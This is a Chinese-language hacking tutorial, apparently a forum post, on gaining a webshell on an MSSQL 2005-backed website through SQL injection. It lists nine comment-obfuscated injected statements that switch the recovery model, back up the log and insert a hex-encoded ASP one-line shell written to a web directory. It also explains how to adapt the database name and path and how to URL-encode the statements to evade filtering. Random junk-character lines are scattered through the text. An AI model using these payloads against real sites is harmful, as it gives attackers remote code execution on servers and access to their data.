mssql2005 DB权限导出一句话

admin

网站路径也搞到了，本想使用差异备份，在数据库日志中插入一句话，然后备份到网站目录下拿shell的，估计是用户没有备份数据库的权限，但使用MSSQL2000的备份方法根本行不通，后来才想到MSSQL2005的备份和MSSQL2000有点不同。
' i2 |3 b5 G4 j  j9 @! ?
: `$ K9 h* r! ~; D
! r0 ^/ {% \; V  E# Q* }后来在网上搜半天没有找到具体的备份语句，后来在群求助，小冰才发我了具体的利用语句，但贴出来的文章貌似没啥水准，大家都知道手工差异备份是自己需要修改数据库名和网站路径的，但那个文章中对语句没有做任何解释，无奈之下我只好自己尝试了，虽然测试的网站没有成功拿下shell，单语句是没有错误的，我在本地的MSSQL2005的查询分析器中测试通过了，再次特将语句整理出来分享个大家，并做好详细的解释说明，首先来贴出语句。

第一步
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
3 V8 c4 C$ o' p6 W: \
: |2 S7 U' I+ R' b1 h第二步：
9 F! J! d/ o3 g2 K0 o;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

( v/ J% p- f. f* x6 z7 B8 V第三步
0 V* p0 t0 E* U;drop/**/table/**/[itpro]--
! _  z9 x/ O; A
- S4 `  G3 P4 {" {+ V4 x第四步
: Y# E+ p$ b1 H) a% u4 ^;create/**/table/**/[itpro]([a]/**/image)--

2 ^! ~/ \' C+ z- i9 E" p: b( `第五步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
( T6 b2 h+ H% D! J6 H9 Q
第六步
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
' C, ]* y2 o- {, O2 z; C) T: o
( H0 {4 V9 e2 W8 K第七步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
  o- i+ Z2 W) L
7 l& m2 R+ G0 k3 Z: c第八步
8 w+ [: }4 q' D;drop/**/table/**/[itpro]--
" h0 h+ u% q$ u' o, U  j$ Y+ x
! Y/ L! ?8 V1 l( q' f第九步
/ ~7 n  b6 w( ?. C$ ?# F. G;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
# r  P3 @' ~* M8 F  t1 `' }& m
  V" T. k1 }- B* C3 k% B* P9 h其中红色的“Hospital”既是数据库名，这个要根据自己的情况来修改，然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容，橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”，都是使用的SQL_En的格式，另外第三步大可以不需要！他是删除itpro的表，如果第一次的话这个表是不存在的，就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”，就是使用URL编码。“/**/”就等于空格了，这个大家在学习注入的过程中应该了解，也可以更换成“%20”。
3 q: Q( E- j8 X; u3 r